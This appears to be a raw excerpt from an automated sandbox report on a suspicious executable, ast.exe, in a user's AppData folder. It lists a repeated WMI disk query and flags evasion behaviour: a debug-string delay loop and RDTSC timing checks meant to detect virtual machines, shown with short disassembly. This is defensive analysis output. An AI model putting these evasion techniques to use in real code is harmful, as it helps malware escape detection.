Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Section loaded: OutputDebugStringW count: 1844

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	RDTSC instruction interceptor: First address: 69B27E second address: 69B284 instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	RDTSC instruction interceptor: First address: 69B284 second address: 69B294 instructions: 0x00000000 rdtsc 0x00000002 cmp edi, edx 0x00000004 jne 00007F99D0E0B076h 0x00000006 sub eax, ebx 0x00000008 mov dword ptr [ebp-04h], eax 0x0000000b mov ecx, 0000000Ah 0x00000010 rdtsc
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	RDTSC instruction interceptor: First address: 69B294 second address: 69B29A instructions: 0x00000000 rdtsc 0x00000002 mov edi, edx 0x00000004 mov ebx, eax 0x00000006 rdtsc
